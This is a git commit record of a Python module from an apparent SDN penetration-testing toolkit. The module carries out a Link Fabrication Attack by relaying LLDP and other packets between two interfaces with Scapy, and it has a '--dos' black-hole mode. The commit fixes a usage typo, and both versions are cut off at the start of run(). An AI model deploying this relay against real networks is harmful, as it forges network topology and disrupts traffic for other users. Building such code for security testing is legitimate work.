<commit_before>
import modules.sdnpwn_common as sdnpwn

from scapy.all import *
import sys
import signal
from subprocess import call
from threading import Thread
from time import sleep
import hashlib
import imp
import netifaces

class packetHandler:

   pipeline = None
   iface1 = None
   iface2 = None
   clearToSend = 0
   pktCacheSize = 40
   pktCache1 = []
   pktCache2 = []
   lastLLDP1 = None
   lastLLDP2 = None
   forwardLLDPOnly = False
   

   def __init__(self):
      clearToSend = 0

   def packetIn1(self, pkt):      
     if Ether in pkt:
       if((self.forwardLLDPOnly == False) or (self.forwardLLDPOnly == True and pkt.type == 0x88cc)): #Ethernet packet type 0x88cc is LLDP
         pktHash = hashlib.md5(str(pkt).encode()).hexdigest()
         if(pktHash != self.lastLLDP2):
           self.lastLLDP1 = pktHash
           if(self.pipeline is not None):
             pkt = self.pipeline.run(pkt)
           sendp(pkt, iface=self.iface2)
            
   def packetIn2(self, pkt):
     if Ether in pkt:
       if((self.forwardLLDPOnly == False) or (self.forwardLLDPOnly == True and pkt.type == 0x88cc)): #Ethernet packet type 0x88cc is LLDP
         pktHash = hashlib.md5(str(pkt).encode()).hexdigest()
         if(pktHash != self.lastLLDP1):
           self.lastLLDP2 = pktHash
           if(self.pipeline is not None):
             pkt = self.pipeline.run(pkt)
           sendp(pkt, iface=self.iface1)

def stopSniffing(pkt):
  global runningThreads
  if(len(runningThreads) == 0):
    return True
  else:
    return False
  
def interface1Listener(iface, handler):
  sniff(iface=iface, prn=handler.packetIn1, stop_filter=stopSniffing)

def interface2Listener(iface, handler):
  sniff(iface=iface, prn=handler.packetIn2, stop_filter=stopSniffing)

def signal_handler(signal, frame):
  global runningThreads
  print("\n[!] Stopping...")
  runningThreads.remove(runningThreads[1])
  runningThreads.remove(runningThreads[0]) 
    
        
def info():
  return "Performs the Link Fabrication Attack (LFA) using a Scapy script. This can be extended with a custom script using the --script option."
  
def usage():

  sdnpwn.addUsage("--iface1", "Set network interface 1", True)
  sdnpwn.addUsage("--iface1", "Set network interface 2", True)
  sdnpwn.addUsage("--script", "Pass traffic through a custom script. Provide script location.")
  sdnpwn.addUsage("--dos", "Only forward LLDP traffic and create a 'black hole' for other traffic")
  sdnpwn.addUsage("--verbose", "Get more output")
  
  return sdnpwn.getUsage()

def run(params):
   global runningThreads
   
   runningThreads = []
   
   iface1IPAddress = None
   iface1NetMask = None
   iface2IPAddress = None<commit_msg>Fixed usage<commit_after>
import modules.sdnpwn_common as sdnpwn

from scapy.all import *
import sys
import signal
from subprocess import call
from threading import Thread
from time import sleep
import hashlib
import imp
import netifaces

class packetHandler:

   pipeline = None
   iface1 = None
   iface2 = None
   clearToSend = 0
   pktCacheSize = 40
   pktCache1 = []
   pktCache2 = []
   lastLLDP1 = None
   lastLLDP2 = None
   forwardLLDPOnly = False
   

   def __init__(self):
      clearToSend = 0

   def packetIn1(self, pkt):      
     if Ether in pkt:
       if((self.forwardLLDPOnly == False) or (self.forwardLLDPOnly == True and pkt.type == 0x88cc)): #Ethernet packet type 0x88cc is LLDP
         pktHash = hashlib.md5(str(pkt).encode()).hexdigest()
         if(pktHash != self.lastLLDP2):
           self.lastLLDP1 = pktHash
           if(self.pipeline is not None):
             pkt = self.pipeline.run(pkt)
           sendp(pkt, iface=self.iface2)
            
   def packetIn2(self, pkt):
     if Ether in pkt:
       if((self.forwardLLDPOnly == False) or (self.forwardLLDPOnly == True and pkt.type == 0x88cc)): #Ethernet packet type 0x88cc is LLDP
         pktHash = hashlib.md5(str(pkt).encode()).hexdigest()
         if(pktHash != self.lastLLDP1):
           self.lastLLDP2 = pktHash
           if(self.pipeline is not None):
             pkt = self.pipeline.run(pkt)
           sendp(pkt, iface=self.iface1)

def stopSniffing(pkt):
  global runningThreads
  if(len(runningThreads) == 0):
    return True
  else:
    return False
  
def interface1Listener(iface, handler):
  sniff(iface=iface, prn=handler.packetIn1, stop_filter=stopSniffing)

def interface2Listener(iface, handler):
  sniff(iface=iface, prn=handler.packetIn2, stop_filter=stopSniffing)

def signal_handler(signal, frame):
  global runningThreads
  print("\n[!] Stopping...")
  runningThreads.remove(runningThreads[1])
  runningThreads.remove(runningThreads[0]) 
    
        
def info():
  return "Performs the Link Fabrication Attack (LFA) using a Scapy script. This can be extended with a custom script using the --script option."
  
def usage():

  sdnpwn.addUsage("--iface1", "Set network interface 1", True)
  sdnpwn.addUsage("--iface2", "Set network interface 2", True)
  sdnpwn.addUsage("--script", "Pass traffic through a custom script. Provide script location.")
  sdnpwn.addUsage("--dos", "Only forward LLDP traffic and create a 'black hole' for other traffic")
  sdnpwn.addUsage("--verbose", "Get more output")
  
  return sdnpwn.getUsage()

def run(params):
   global runningThreads
   
   runningThreads = []
   
   iface1IPAddress = None
   iface1NetMask = None
   iface2IPAddress = None
{'fraction_non_alphanumeric': 0.1036404160475483, 'fraction_numerical': 0.017087667161961365, 'mean_word_length': 3.19392523364486, 'pattern_counts': {'":': 0, '<': 3, '<?xml version=': 0, '>': 3, 'https://': 0, 'lorem ipsum': 0, 'www.': 0, 'xml': 0}, 'pii_count': 0, 'substrings_counts': 0, 'word_list_counts': {'cursed_substrings.json': 0, 'profanity_word_list.json': 0, 'sexual_word_list.json': 0, 'zh_pornsignals.json': 0}}
{'dir': 'git-commits-cleaned', 'id': '4852150', 'n_tokens_mistral': 1764, 'n_tokens_neox': 1801, 'n_words': 470}